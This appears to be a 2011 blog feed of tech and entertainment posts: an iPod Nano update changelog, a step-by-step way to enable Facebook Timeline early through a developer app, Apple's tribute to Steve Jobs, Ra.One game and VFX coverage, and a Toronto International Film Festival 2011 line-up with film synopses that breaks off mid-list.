::Sangam Online::

Apple iPod Nano 6th Generation 1.2

noreply@blogger.com (Anonymous) — Tue, 11 Oct 2011 13:25:00 +0000

In the family of Apple News, Apple updates Apple Updates iPod Nano 6th Generation to version 1.2 with new features. Apple has revealed iPod Software Update for iPod Nano 6th generation. Apple iPod Nano 6th Generation 1.2 includes fitness features, new icon size and extra clock faces. Apple iPod Nano 6th Generation 1.2 Change-log is given below:

New in Apple iPod Nano 6th Generation 1.2

Added two new icon sizes: Large icons and Small icons
Added Fitness feature
Built-in accelerometer
Support for Nike + iPod Sport Kit
Added Clock faces

>>For Apple iPod User Guide click Here

>>For information about Apple iPod Nano 6th Generation 1.2 click Here

>>For iPod Troubleshoot click Here

Trick to Activate your Facebook Timeline

noreply@blogger.com (Anonymous) — Thu, 06 Oct 2011 06:37:00 +0000

Facebook recently added a new feature called Timeline, a timeline of your Life on Facebook.From the very day you joined Facebook, it shows your profile in a new look where you can see your very first post, comment or any photo you were tagged in.
Concluding, its your Facebook Biography...:P

See more about Timeline.

Since presently, it is available only for Facebook Developers, i have brought a trick which can get your Facebook Timeline activated in no time. Here's the procedure.

1. Go to Facebook's developer's page .

2. Click the "Apps" button on the blue bar( and if asked give the "Developer" app permission to access your information).

3. When you are redirected to another page Just Click on "Create New App".

4. Enter an "App Display Name" and an "App Namespace". This is as per your wish because no one is going to see that :-) .

5. Check mark the "Platform Privacy Policy" box to agree to it and then Click "Continue".

6. Ignore all the content of the page you are directed to and Just Click the "Open Graph" button on the left side.

7. You should arrive at a page which suggests that you get started with Open Graph.

8. Write in some kind of action(example "Read") and object(example "Article") and(choice of action and object is as per your wish, but don't leave it Blank) Click "Get Started".

You will encounter about 2 to 3 pages more, just click on Continue or Ok or Save or whatever similar options you get.

9. Just wait for some time(In my case, it took 3 minutes) and you are DONE.

10. Now go to your Facebook Homepage(facebook.com/home) you should see a message offering you the chance to enable your Timeline.

11. Enable it and Enjoy. :)

Apple Dedicates Homepage to Steve Jobs Death

noreply@blogger.com (Anonymous) — Thu, 06 Oct 2011 06:05:00 +0000

Apple has dedicated its homepage to Steve Jobs following his death on Wednesday at age 56. Within minutes after the news broke, Apple's homepage read "Steve Jobs 1955-2011" to pay homage to its former CEO who spearheaded the launch of the iPhone, iPad and iPod.

"Apple has lost a visionary and creative genius, and the world has lost an amazing human being," Apple's Web site said. "Those of us who have been fortunate enough to know and work with Steve have lost a dear friend and an inspiring mentor. Steve leaves behind a company that only he could have built, and his spirit will forever be the foundation of Apple.

"Apple.com asks its users "to share your thoughts, memories, and condolences," giving an e-mail address to send comments to.

Jobs developed a rare form of pancreatic cancer which he beat in 2004 before he received a liver transplant in 2009. On Aug. 24, Jobs resigned as the chief executive of Apple.

"I have always said if there ever came a day when I could no longer meet my duties and expectations as Apple's CEO, I would be the first to let you know," Jobs wrote in his letter of resignation. "Unfortunately, that day has come."

Ra.One Game Released

noreply@blogger.com (Anonymous) — Mon, 03 Oct 2011 17:25:00 +0000

Produced by Red Chillies Entertainment, Ra.One, directed by Anubhav Sinha and starring Shah Rukh Khan, Arjun Rampal and Kareena Kapoor is one of the films that fans are eagerly awaiting to hit cinemas this year. It is a superhero tale that includes out of the world special effects and action sequences and is apparently one of the most expensive films made in Hindi cinema. As we reported first, part of the really cool promotions and tie-ins for the upcoming superhero film Ra.One, is the development of a Sony Playstation Game for both PS2 and PS3. Developed by Trine, this is a first for an Indian film and from what we hear the game is fab! According to Bottomline Media, “We are very excited about the Sony Playstation-Ra.One Game association. For the first time ever in India you see The SRK on the Playsation game.” So, when can you get your hands on a copy? This September!

Based on an idea by Shah Rukh Khan, it features voiceovers by SRK, Arjun Rampal and Kareena Kapoor. The game’s adventure is a prequel to the film: you get to meet the characters, learn their super powers and get immersed in the world of Ra.One, before the film even releases in October. So you can play as SRK’s G.One, Arjun Rampal Ra.One and Shah Rukh told us exclusively earlier there is even a good and a bad Kareena character!

Shah Rukh Khan is very excited about this game, “It has been a dream since childhood to be somehow involved in videogame designing or making them as all kids dream of. So now many years down the line the dream is fulfilled!”

Adding, “Double pleasure gaming and movies….Ra.One on PS 2 & PS3…feeling like a kid all over. Hope everyone enjoys the game and also the movie. The game is awesome fun…G.One looks cool…so does Ra.One and Kareena in an avatar which everyone will enjoy….too thrilled. Finally can play a game…be a gamer and the game itself…YAY!!!”

We say YAY too and that we can’t wait to play the game to hold us over until we can see the film when it releases on October 26th.

We have some exclusive screenshots of the game! Check out how cool and how good SRK looks in the virtual world too!

3,500 VFX shots in RA.One

noreply@blogger.com (Anonymous) — Sun, 02 Oct 2011 19:29:00 +0000

It’s India’s first big-budget VFX wonder. And when we say big, we mean BIG. In just a month, Shah Rukh Khan will unleash his upcoming mega-budget RA.One. Like most of Khan’s previous releases, this film too will be a Diwali release featuring Khan himself in the lead in a product that will not only entertain but is also likely to set the cash register ringing.

But what really sets the film apart from any other Indian film are the special effects. So here’s why this product is so, well, special.

There are close to 3,500 VFX shots in RA.One. That’s 800 shots more than James Cameron’s 3D blockbuster Avatar, which has 2,700 shots in VFX. The film is also being pieced together by more than 1,000 people working in shifts in 14 to 15 studios across the world. Small wonder the film took six years.

So does all this impressive hi-tech wizardry mean we are finally at par with Hollywood in the VFX department? Some experts feel we may have already made our mark in the VFX arena. According to the 2011 FICCI-KPMG Indian Media and Entertainment Industry Report, the Indian animation industry is predicted to grow from the present US $1.8 billion to US $2.9 billion by 2015.

Interestingly, the idea of making a VFX-loaded film took root when SRK was working on his 2004 release, Main Hoon Na. His production house then worked on the special effects of his next film, Paheli, and a number of SRK’s advertisements as well. Finally, it all added up. Why not make a VFX-heavy film even though it would mean setting up a separate VFX studio?

Keitan Yadav, COO and VFX Producer, Red Chilies, summarises the journey, “In 2006, we opened our Red Chilies VFX Studio, which was set up solely to produce a superhero or sci-fi film. During the last five years, we scouted for talent across the country and turned down any outsourced work that came our way as we wanted to focus on our own plans. In the last five years, we did 21 films. We made mistakes, we learnt from our mistakes and thus prepared for our flagship project, RA.One.”
RA.One. has used different types of VFX. Some of these effects are invisible, where the viewer is unable to tell where the scene is shot while there are other scenes with in-your-face effects.

“There is no software or technique in the industry that we have not used for this film. For 3D, we have used software like Maya, Houdini and Macs. For composites, we have used Nuke and Shake. We have even written our own programmes. We programmed certain things rather than doing them manually,” Yadav explains.

He says 14 to 15 studios have worked on the film, including some in London, Canada, Massachusetts, South India and Mumbai. “This is the first time we are collaborating with different studios and not competing with them,” laughs Yadav.

The filmmakers decided they wanted the special effects of RA.One to be at par with those of other studios across the world. And that’s what made the difference. But it not only raised the bar but also the budget.

One of the most popular trademarks of any superhero is their suit, and G.One’s suit underwent a lot of fine-tuning to fit the bill. While SRK shot the film wearing a simple suit, a lot of shimmer was added to it later to enhance its look.

Harry Hingorani, Production Director and VFX supervisor, Red Chillies, explains, “Since G.One is made of electricity, we wanted to add more features. Match-matching, which is matching the suit with the background, has been done by many studios. It is a very difficult process. If we didn’t have to do this, we would have released the film by now. There are 800 shots of the suit alone, which is about 40 minutes of footage.

Hingorani adds, “We shot the film at VT station and also a few portions in Lonavala, which look like Mumbai in the film. We have erased the trees and put in CGI buildings. So about 50-60 per cent of the film has been shot in croma.”

RA.One will be released in both 3D as well as 2D versions. The 2D to 3D conversion of the film is being undertaken by Prime Focus, an Indian studio that has worked on many Hollywood 3D films including the Oscar-winning Avatar. A skill set of around 1,000 people was required to execute the conversions.

Among the high points of the film is a sequence where cubes come together in a specific formation, which in turn, morphs into the superhero and SRK’s character in the film G.One. This sequence is a signature effect of the villain, RA.One, too.

It took a great deal of time to develop pipelines for the cubic transformation. There are six-seven different algorithms required to facilitate all the in-screen action, and developing these were a daunting task for the VFX team.

Also, there are not many programmers in the country who can handle this type of VFX work and this was a huge challenge. Both Hingorani and Yadav point out that there are no VFX degree courses in this country, which made the task even more difficult, the VFX industry is not recognised.

“We don’t have a structured education system that filters students. In our country, we stumble upon talent quite by chance. A lot of people from small towns take a computer course and get into the industry as no special educational qualifications are required. A lot of filtering happens at the job level, which should happen at the educational level,” Yadav points out.

VFX has grown by leaps and bounds and at a rapid pace. Our studios, software and hardware are at par or even better than the West as we are a new breed of studios.

“RA.One is the most expensive film to ever come out of India. One of the many things we realised was that you cannot fool the audience in the name of VFX. We thought we should marry a story with VFX and wow the audience. It is not possible to raise the bar above Spiderman or Superman but when you watch RA.One, you will be proud to watch an Indian VFX film,” smiles Yadav.

Toronto International Film Festival announces 2011 line-up

noreply@blogger.com (Anonymous) — Thu, 08 Sep 2011 19:05:00 +0000

The Toronto International Film Festival, which has become an increasingly important platform for awards-seeking titles in recent years (Both The King’s Speech and Black Swan played there last year), announced its 2011 line-up this morning.

The 11-day festival, set to kick off on Sept. 8, will feature the world premieres of Moneyball, a baseball drama starring Brad Pitt; 50/50, a cancer dramedy with Joseph Gordon-Levitt and Seth Rogen; Alexander Payne’sThe Descendants, a drama starring George Clooney; Butter, a butter-carving satire featuring Jennifer Garner and Hugh Jackman; Albert Nobbs, an Irish-set period drama starring Glenn Close; and Francis Ford Coppola’s murder-mystery Twixt, among others.

Other notable pictures playing at TIFF: Nicolas Winding Refn’s Drive, starring Ryan Gosling and Carey Mulligan; Marc Forster’s religious drama Machine Gun Preacher, starring Gerard Butler; David Cronenberg’s A Dangerous Method, which features Michael Fassbender as Carl Jung and Viggo Mortensen as Sigmund Freud; Madonna’s W.E., a romantic drama; George Clooney’s directorial effort The Ides of March; and Cameron Crowe’s music doc Pearl Jam Twenty.

Check out the full slate below.

Galas

Albert Nobbs Rodrigo Garcia, World Premiere
A witty Irish-set period drama about the lives of staff at Dublin’s most luxurious hotel: the illegitimate child of a maid, a beautiful couple’s impossible love, and Albert… a woman who pretends to be a man to survive. Nineteenth century Ireland: for a woman to be independent and single, she must deceive everyone — by pretending to be a man. Albert, a shy butler who keeps to himself, has been hiding a deep secret for years — ‘he’ is a woman who has had to behave as a man all her life in order to escape a life of poverty and loneliness. When a handsome painter Hubert Page arrives at the hotel, Albert is inspired to try and escape the false life she has created for herself. She gathers her nerve to court beautiful, saucy young maid Helen in whom she thinks she’s found a companion – but Helen’s eye is on a new arrival: handsome, bad-boy Joe, the new handy-man. As Albert dares to hope that she might one day live a normal life, we catch a glimpse of a free-spirited woman who is caught in the wrong time… Stars Glenn Close.

Butter Jim Field Smith, World Premiere
Set in the highly competitive world of championship butter carving, Butter blends social commentary, outrageous comedy and heartfelt drama in telling the story of the ambitious Laura Pickler (Jennifer Garner), the self-anointed First Lady of Butter Carving. Refusing to accept that her husband (Ty Burrell) wants to step down after his 15-year run as the “Iowa State Butter Carving Champion,” and therefore end the Pickler family’s reign in the spotlight, Laura takes a stab at the title herself. But her bid for glory is complicated when two unlikely contestants enter the race — one, her husband’s hard-living mistress (Olivia Wilde), and the other a 10-year-old foster child named Destiny (Yara Shahidi). Enlisting the help of her high school sweetheart, Boyd (Hugh Jackman), Laura will stop at nothing to be crowned champion, even if it means resorting to sabotage. Part political satire, part Capra-esque comedy, Butter is a story about what it means to win at all costs and against all odds.

A Dangerous Method David Cronenberg, North American Premiere
On the eve of World War I, Zurich and Vienna are the setting for a dark tale of sexual and intellectual discovery. Drawn from true-life events, A Dangerous Method takes a glimpse into the turbulent relationships between fledgling psychiatrist Carl Jung, his mentor Sigmund Freud and Sabina Spielrein, the troubled but beautiful young woman who comes between them. Into the mix comes Otto Gross, a debauched patient who is determined to push the boundaries. In this exploration of sensuality, ambition and deceit set the scene for the pivotal moment when Jung, Freud and Sabina come together and split apart, forever changing the face of modern thought. Starring Michael Fassbender, Viggo Mortensen and Keira Knightley.

A Happy Event Rémi Bezancon, World Premiere
She turned my life upside-down, drove me into a corner, pushed me beyond my limits. She taught me about self-renouncement, tenderness and sacrifice in their most extreme forms.” “Why didn’t my mother ever tell me? Why doesn’t anyone ever mention this?” A Happy Event breaks the taboo of pregnancy through the tragicomic diary of a young woman who becomes a mother. Stars Louise Bourgoin.

The Ides of March George Clooney, North American Premiere
The Ides of March takes place during the frantic last days before a heavily contested Ohio presidential primary, when an up-and-coming campaign press secretary (Ryan Gosling) finds himself involved in a political scandal that threatens to upend his candidate’s shot at the presidency. Also starring George Clooney, Paul Giamatti and Philip Seymour Hoffman.

The Lady Luc Besson, World Premiere
The Lady is the extraordinary story of Aung San Suu Kyi and her husband, Michael Aris. It is also the story of the peaceful quest of the woman who is at the core of Burma’s democracy movement. Despite distance, long separations, and a dangerously hostile regime, their love endures until the very end. It’s a story of devotion and human understanding set against a backdrop of political turmoil that continues today. The Lady was written over a period of three years by Rebecca Frayn. Interviews with key figures in Aung San Suu Kyi’s entourage enabled her to reconstruct for the first time the true story of Burma’s national heroine. Stars Michelle Yeoh and David Thewlis.

Moneyball Bennett Miller, World Premiere
Based on a true story, Moneyball stars Brad Pitt as Billy Beane, the general manager of the Oakland As and the guy who assembles the team, who has an epiphany: all of baseball’s conventional wisdom is wrong. Forced to reinvent his team on a tight budget, Beane will have to outsmart the richer clubs. The onetime jock teams with Ivy League grad Peter Brand (Jonah Hill) in an unlikely partnership, recruiting bargain players that the scouts call flawed, but all of whom have an ability to get on base, score runs, and win games. It’s more than baseball, it’s a revolution — one that challenges old school traditions and puts Beane in the crosshairs of those who say he’s tearing out the heart and soul of the game.

Peace, Love, & Misunderstanding Bruce Beresford, World Premiere
Directed by two-time Academy Award nominated Bruce Beresford, Peace, Love, & Misunderstanding stars Academy Award-winning Jane Fonda, two-time Academy Award-nominated Catherine Keener, international heartthrob Chace Crawford, and Sundance’s breakout star Elizabeth Olsen. The film is a comedy about an uptight New York City lawyer who takes her two spirited teenagers to her hippie mother’s farmhouse in the countryside for a family vacation. What was meant to be a weekend getaway quickly turns into a summer adventure of romance, music, family secrets, and self-discovery.

Take this Waltz Sarah Polley, World Premiere
Swelteringly hot, bright and colourful like a bowl of fruit, Take this Waltz leads us laughing through the familiar, but uncharted question of what long-term relationships do to love, sex, and our images of ourselves. Starring Michelle Williams, Seth Rogen and Luke Kirby.

W.E. Madonna, North American Premiere
W.E. is a romantic exploration of the mysterious connection across decades between two women confronting the consequences of desire. Caught in a loveless Manhattan marriage, abused and frustrated Wally (Abbie Cornish) obsesses over Wallis Simpson (Andrea Riseborough), the stylish American divorcee who captured the heart of Edward the VIII (James D’Arcy) who abdicated the throne as King of England. As the Duchess of Windsor, Wallis spends the rest of her life in the glare of celebrity exile. Inspired by the Duchess’ determination to pursue love in the face of social exile, Wally escapes into the arms of another man (Oscar Isaac) whose love sets her free. Madonna and a world class team of collaborators present a passionate tale of the search for love and the meaning of happiness. W.E. (for Wallis and Edward, forever entwined in the love story of the 20th century) is a rich, cinematic portrayal of two strong women resolved to find romance.

Special Presentations

11 Flowers Wang Xiaoshuai, World Premiere
Wang Han, an 11-year-old boy in the province of Ghizhou, is confronted by a runaway murderer hiding in the woods. The wounded man persuades Wang Han to help him out. Both frightened and fascinated, Wang Han and his friends promise to keep the man’s whereabouts secret from the police even when strange things begin happening at school. Stars Liu Wenqing, Wang Jinchun and Yen Ni.

50/50 Jonathan Levine, World Premiere
Inspired by personal experiences, 50/50 is a funny, touching and original story of friendship, love, and survival starring Joseph Gordon-Levitt, Seth Rogen, Anna Kendrick, Bryce Dallas Howard and Anjelica Huston. Written by Will Riser and directed by Jonathan Levine.

360 Fernando Meirelles, World Premiere
Inspired by Arthur Schnitzler’s classic La Ronde, in 360, director Fernando Meirelles and screenwriter Peter Morgan combine a modern and dynamic roundelay of original stories into one, linking characters: from different cities and countries in a vivid, suspenseful and deeply moving tale of love in the 21st century. Starting in Vienna, the film beautifully weaves through Paris, London, Bratislava, Rio, Denver and Phoenix into a single, mesmerizing narrative. Stars Jude Law, Anthony Hopkins, Rachel Weisz and Ben Foster.

The Artist Michel Hazanavicius, Toronto Premiere
Hollywood 1927. George Valentin is a very successful silent movie star. The arrival of talking pictures will mark the end of his career. Peppy Miller, a young woman extra, becomes a major movie star. Starring Malcolm McDowell, James Cromwell and John Goodman.

Americano Mathieu Demy, World Premiere
When Mathieu was little, his name was Martin and he lived in Los Angeles. Martin grew up and lives in Paris. When he loses his mother back in California, Martin must return to the city of his childhood to deal with the formalities surrounding his inheritance. Unable to face up to his mom’s death, Martin takes off to Tijuana on the trail of Lola, a Mexican woman he used to know, and who held a special place in his mother’s life. To make his own peace, Martin must delve into his past. Stars Salma Hayek and Géraldine Chaplin.

Anonymous Roland Emmerich, World Premiere
Set in the political snake-pit of Elizabethan England, Anonymous speculates on an issue that has for centuries intrigued academics and brilliant minds, namely: who actually created the body of work credited to William Shakespeare? Experts have debated, books have been written, and scholars have devoted their lives to protecting or debunking theories surrounding the authorship of the most renowned works in English literature. Anonymous poses one possible answer, focusing on a time when scandalous political intrigue, illicit romances in Royal Court, and the schemes of greedy nobles lusting for the power of the throne were brought to light in the most unlikely of places: the London stage. Starring David Thewlis and Vanessa Redgrave.

A Better Life Cédric Kahn, World Premiere
Yann, a cook, and Nadia, a waitress and mother of nine-year-old child, decide to risk everything on the purchase of a restaurant. With plenty of talent, energy, love and dreams, but no finances of their own, they find themselves forced into a jungle of financing and bank loans that quickly overwhelms them. To bail them out, Nadia has to take a job in Canada, while Yann is forced to stay behind to save the restaurant. Together, he and the child confront a relentless avalanche of creditors, an uncaring system and the daily grind from which there is no respite. Yann finally understands that his only chance of salvation lies in joining his lover – as well as reuniting mother and child – by following Nadia to Canada and a better life. Stars Guillaume Canet, Leïla Bekhti and Slimane Ketthabi.

Burning Man Jonathan Teplitzky, World Premiere
Why is Tom behaving so badly? Six women and an eight-year-old boy are fighting, in very different ways, to help. But for Tom, it seems, there are no rules. Burning Man is the reckless, provocative and moving story of a father and son’s journey back to happiness. Stars Matthew Goode and Rachel Griffiths.

Chicken with Plums Marjane Satrapi and Vincent Paronnaud, North American Premiere
Tehran, 1958: Nasser Ali Khan, the most celebrated violin player, has his beloved instrument broken. Unable to find another to replace it, life without music seems intolerable. He stays in bed and slips further and further into his reveries from his youth to his own children’s futures. Over the course of the week that follows, and as the pieces of this captivating story fall into place, we understand his poignant secret and the profundity of his decision to give up life for music and love.

Coriolanus Ralph Fiennes, North American Premiere
Coriolanus (Ralph Fiennes), a hero of Rome, is a great soldier but despises the people. His extreme views ignite a mass riot and he is banished from Rome. Coriolanus allies with a sworn enemy (Gerard Butler) to take his revenge on the city.

Countdown Huh Jong-ho, World Premiere
Jeon Do-youn plays a beautiful ex-con who, after being released from prison, tries to make some quick cash by manipulating a heartless debt collector.

Dark Horse Todd Solondz, North American Premiere
A thirtysomething guy with arrested development (Justin Bartha) falls for a thirtysomething girl with arrested development (Selma Blair), but moving out of his junior high school bedroom proves too much and tragedy ensues.

The Deep Blue Sea Terence Davies, World Premiere
Hester Collyer (Academy Award-winner Rachel Weisz) leads a privileged life in 1950s London as the beautiful wife of high court judge Sir William Collyer (Simon Russell Beale). To the shock of those around her, she walks out on her marriage to move in with young ex-RAF pilot, Freddie Page (Tom Hiddleston), with whom she has fallen passionately in love.

The Descendants Alexander Payne, World Premiere
From Alexander Payne, the creator of the Oscar-winning Sideways, set in Hawaii, The Descendants is a sometimes humourous, sometimes tragic journey for Matt King (George Clooney) an indifferent husband and father of two girls, who is forced to re-examine his past and embrace his future when his wife suffers a boating accident off of Waikiki. The event leads to a rapprochement with his young daughters while Matt wrestles with a decision to sell the family’s land handed down from Hawaiian royalty and missionaries.

Drive Nicolas Winding Refn, Canadian Premiere
Ryan Gosling stars as a Los Angeles wheelman for hire, stunt driving for movie productions by day and steering getaway vehicles for armed heists by night. Though a loner by nature, Driver can’t help falling in love with his beautiful neighbour Irene (Carey Mulligan), a vulnerable young mother dragged into a dangerous underworld by the return of her ex-convict husband Standard (Oscar Isaac). After a heist intended to pay off Standard’s protection money spins unpredictably out of control, Driver finds himself driving defence for the girl he loves, tailgated by a syndicate of deadly serious criminals (Albert Brooks and Ron Perlman).

Elles Malgoska Szumowska, World Premiere
Anne (Juliette Binoche), a well-off Paris-based mother of two and investigative journalist for ELLE, is writing an article about university student prostitution. Her meetings with two fiercely independent young women, Alicja (Joanna Kulig) and Charlotte (Anaïs Demoustier), are profound and unsettling, moving her to question her most intimate convictions about money, family and sex.

The Eye of the Storm Fred Schepisi, International Premiere
In the Sydney suburb of Centennial Park, two nurses, a housekeeper and a solicitor attend to Elizabeth Hunter as her expatriate son and daughter convene at her deathbed. But in dying, as in living, Mrs. Hunter remains a powerful force on those who surround her. Based on the novel by Nobel Prize-winner Patrick White, The Eye of the Storm is a savage exploration of family relationships – and the sharp undercurrents of love and hate, comedy and tragedy, which define them. Stars Geoffrey Rush and Charlotte Rampling.

Friends With Kids Jennifer Westfeldt, World Premiere
Friends With Kids is a poignant ensemble comedy about a close-knit circle of friends at that moment in life when children arrive and everything changes. There are big laughs and unexpected emotional truths as the last two singles in the group, out of step with their married pals, resolve to have a kid together… and date other people. Stars Kristen Wiig, Megan Fox, Jon Hamm, Maya Rudolph and Edward Burns.

Habemus Papam Nanni Moretti, North American Premiere
The newly elected Pope suffers a panic attack just as he is due to appear on St Peter’s balcony to greet the faithful, who have been patiently awaiting the conclave’s decision. His advisors, unable to convince him he is the right man for the job, seek help from a renowned psychoanalyst (and atheist). But his fear of the responsibility suddenly thrust upon him is one that he must face on his own.

Headhunters Morten Tyldum, North American Premiere
Roger (Aksel Hennie) is a successful Headhunter. But he lives above his means and steals art on the side. When introduced to Clas Greve (Nikolaj Coster-Waldau), Roger starts planning his biggest theft ever. But Roger runs into trouble and it’s not financial problems that are threatening to knock him over this time…

Hick Derick Martini, World Premiere
Tired of fending for herself and her mother’s penchant for hard-drinking men and barroom drama, 13-year-old Luli hits the road on her own, heading west to realize her dream of becoming a superstar. Among her travels she meets Eddie, a drifter with a chip on his shoulder, and Glenda, a troubled but spirited woman who takes Luli under her wing. Luli’s quick wit, some help from Glenda, the mercurial Eddie, and her colourful daydreams help protect her from the incredibly unpredictable band of characters she encounters on her journey. Hick is a road picture about a young girl who comes face-to-face with the realities of just how complicated adulthood can be. Stars Blake Lively, Chloe Moretz, Alec Baldwin, Juliette Lewis, Eddie Redmayne and Rory Culkin.

The Hunter Daniel Nettheim, World Premiere
Based on the acclaimed novel by Julia Leigh, The Hunter is a powerful psychological drama that tells the story of Martin (Willem Dafoe), a mercenary sent from Europe by an anonymous biotech company to the Tasmanian wilderness on a dramatic hunt for the last Tasmanian Tiger. Against his wishes, Martin’s only option is to stay at a base camp house with the despondent wife and spirited children of a missing zoologist. Drawn deeper into the wild landscape in his search for the mysterious Tiger, Martin’s unexpected connection to the family and the majestic wilderness around him, forces him to confront the reality of his work and personal morality, with dramatic consequences. Stars Academy Award-nominee Willem Dafoe, Frances O’Connor and Sam Neill.

Jeff, Who Lives at Home Jay and Mark Duplass, World Premiere
Jeff, Who Lives at Home stars Jason Segel, Ed Helms, Judy Greer and Susan Sarandon. Penned by the writer/director team of brothers Jay and Mark Duplass (Cyrus), this is the story of one man searching for the meaning of life while running to the store to buy wood glue. Using the universe as his guide, Jeff looks for signs to help determine his path. However, a series of comedic and unexpected events leads him to cross paths with his family in the strangest of locations and circumstances. Jeff just may find the meaning of his life… and if he’s lucky, pick up the wood glue as well.

Killer Joe William Friedkin, North American Premiere
When 22-year-old drug dealer Chris (Emile Hirsch) has his stash stolen by his mother, he has to come up with six thousand dollars quick or he’s dead. Desperate, he turns to “Killer Joe” (Matthew McConaughey) when he finds out that his mother’s life insurance policy is worth $50,000. Although Joe usually demands cash up front, he finds himself willing to bend the rules in exchange for Chris’ attractive younger sister, Dottie, who will serve as sexual collateral until the money comes in… if it ever does.

Like Crazy Drake Doremus, International Premiere
Like Crazy is a film from and about the heart. Jacob, an American, and Anna, who is British, meet at college in Los Angeles and fall madly in love. It’s the purest kind of romance – they’re each other’s first significant attachment. When Anna returns to London, the couple is forced into a long-distance relationship. Their perfect love is tested, and youth, trust, and geography become their biggest enemies. Anton Yelchin and Felicity Jones star as the young couple. An original, contemplative look at first love, Like Crazy strikes a universal chord as it explores the bittersweet beauty and impermanence of relationships.

Machine Gun Preacher Marc Forster, World Premiere
This inspirational true story, Machine Gun Preacher is about Sam Childers, a former drug-dealing criminal who undergoes an astonishing transformation and finds an unexpected calling as the savior of hundreds of kidnapped and orphaned children. Gerard Butler (300) delivers a searing performance as Childers in Golden Globe®-nominated director Marc Forster’s (Monster’s Ball, Finding Neverland) moving story of violence and redemption.

Martha Marcy May Marlene Sean Durkin, Canadian Premiere
Martha Marcy May Marlene is a powerful psychological thriller starring Elizabeth Olsen as Martha, a young woman rapidly unravelling amidst her attempt to reclaim a normal life after fleeing from a cult and its charismatic leader (John Hawkes). Seeking help from her estranged older sister Lucy (Sarah Paulson) and brother-in-law (Hugh Dancy), Martha is unable and unwilling to reveal the truth about her disappearance. When her memories trigger a chilling paranoia that her former cult could still be pursuing her, the line between Martha’s reality and delusion begins to blur.

Melancholia Lars von Trier, North American Premiere
In this beautiful movie about the end of the world, Justine (Kirsten Dunst) and Michael (Alexander Skarsgård) are celebrating their marriage at a sumptuous party in the home of her sister Claire (Charlotte Gainsbourg), and brother-in-law John (Kiefer Sutherland). Despite Claire’s best efforts the wedding is a fiasco, with family tensions mounting and relationships fraying. Meanwhile, a planet called Melancholia is heading directly towards Earth… Melancholia is a psychological disaster film from director Lars von Trier.

The Oranges Julian Farino, World Premiere
The Ostroff and Walling families are best friends and neighbours, living across the street from each other on Orange Drive. Prodigal daughter Nina Ostroff (Leighton Meester) returns home for Thanksgiving dinner after a five-year absence, newly broken up with her fiancé Ethan (Sam Rosen). Rather than developing an interest in the successful son of her neighbours, Toby Walling (Adam Brody), which would please both families, it’s her parents’ best friend David Walling (Hugh Laurie) that captures Nina’s attention. When the romantic attraction between Nina and David Walling becomes too great to ignore, the lives of the two families are thrown into upheaval. It is not long, however, before the ramifications of the affair begin to work on the other family members in unexpected, hilarious and even positive ways, leading everyone to reassess what it means to be happy, and how to find happiness with, and perhaps in spite of, your own family and friends.

Pearl Jam Twenty Cameron Crowe, World Premiere
Pearl Jam Twenty chronicles the years leading up to the band’s formation, the chaos that ensued soon after their rise to megastardom, their step back from centre stage, and the creation of a trusted circle that would surround them – giving way to a work culture that would sustain them. Told in big themes and bold colours with blistering sound, the film is carved from over 1,200 hours of rarely seen and never-before seen footage spanning the band’s career. Pearl Jam Twenty is the definitive portrait of Pearl Jam: part concert film, part intimate insider-hang, and part testimonial to the power of music and uncompromising artists.

Rampart Oren Moverman, World Premiere
A genre-bending, 1990s Los Angeles police family drama, Rampart explores the dark soul and romantic misadventures of a never-changing LAPD cop (Woody Harrelson) whose past is finally catching up with him in the wake of a department-wide corruption scandal. Along the way, he is forced to confront his disgruntled daughters (Brie Larson, Sammy Boyarsky), his two ex-wives (Anne Heche, Cynthia Nixon), a tenacious Deputy DA (Sigourney Weaver), an investigator on his trail (Ice Cube), a homeless witness to his crimes (Ben Foster), his aging mentor (Ned Beatty) and a mysterious new lover who may or may not be on his side (Robin Wright), as he fights for his own sanity and survival.

Salmon Fishing in the Yemen Lasse Hallstrom, World Premiere
Stuffy government fisheries scientist Fred is asked by a fishing-obsessed Arab Sheik to do the seemingly impossible – introduce British salmon to the wadis of the Yemen. Despite considerable trepidation, Fred is finally won over by the charismatic Sheik, who reveals that fishing brings him closer to God, and he hopes it will have the same effect on his countrymen. Fred also begins to fall for the Sheik’s beautiful legal representative Harriet; and so he rises to the Sheik’s eccentric challenge, casting off his English reserve on a transformative journey of self discovery and late blooming love. Stars Ewan McGregor and Emily Blunt.

Shame Steve McQueen, North American Premiere
Brandon is a thirty-something man living in New York who is unable to manage his sex life. After his wayward younger sister moves into his apartment, Brandon’s world spirals out of control. From director Steve McQueen (Hunger), Shame is a compelling and timely examination of the nature of need, how we live our lives and the experiences that shape us. Stars Michael Fassbender, Carey Mulligan, James Badge Dale and Nicole Beharie.

A Simple Life Ann Hui, Hong Kong, North American Premiere
Based on real people and events. Ah Tao was born in Taishan, China. She works as a servant for 60 years and has been serving four generations of the Leung family. For the past decade, Ah Tao lived with Roger, the only family member left in Hong Kong. Stars Andy Lau, Deanie Ip, Wang Fuli and Qin Hailu.

The Skin I Live In Pedro Almodóvar, North American Premiere
Ever since his wife was burned in a car crash, Dr. Robert Ledgard, an eminent plastic surgeon, has been interested in creating a new skin with which he could have saved her. After twelve years, he manages to cultivate a skin that is a real shield against every assault. In addition to years of study and experimentation, Robert needed a further three things: no scruples, an accomplice and a human guinea pig. Scruples were never a problem. Marilia, the woman who looked after him from the day he was born, is his most faithful accomplice. And as for the human guinea pig… Stars Antonio Banderas, Elena Anaya, Blanca Suárez and Jan Cornet.

Take Shelter Jeff Nichols, Canadian Premiere
Curtis lives in Ohio with his wife Samantha and daughter Hannah. When he begins having dreams about an encroaching apocalyptic storm, he channels his anxiety into building a shelter in their backyard. Though his obsessive behaviour provokes intolerance in his community, Curtis confides in Samantha, testing their bond against the highest possible stakes. Stars Michael Shannon and Jessica Chastain.

Ten Year Jamie Linden, World Premiere
Ten Year focuses on a group of friends – married and unmarried, successful and unsuccessful, happy and unhappy – as they return home on the night of their high school reunion. It stars a large ensemble cast that includes Channing Tatum, Rosario Dawson, Justin Long, Kate Mara, Anthony Mackie and Chris Pratt.

Trishna Michael Winterbottom, World Premiere
Starring Freida Pinto (Slumdog Millionaire) and Riz Ahmed (Centurion) and based on Thomas Hardy’s novel Tess of the d’Urbervilles, the film is set in contemporary India and tells the tragic love story between the son of a wealthy property developer and the daughter of a rickshaw driver.

Twixt Francis Ford Coppola, World Premiere
A writer with a career in decline arrives in a small town as part of his book tour and gets caught up in a murder mystery involving a young girl. Stars Val Kilmer, Bruce Dern, Elle Fanning and Ben Chaplin.

Tyrannosaur Paddy Considine, Canadian Premiere
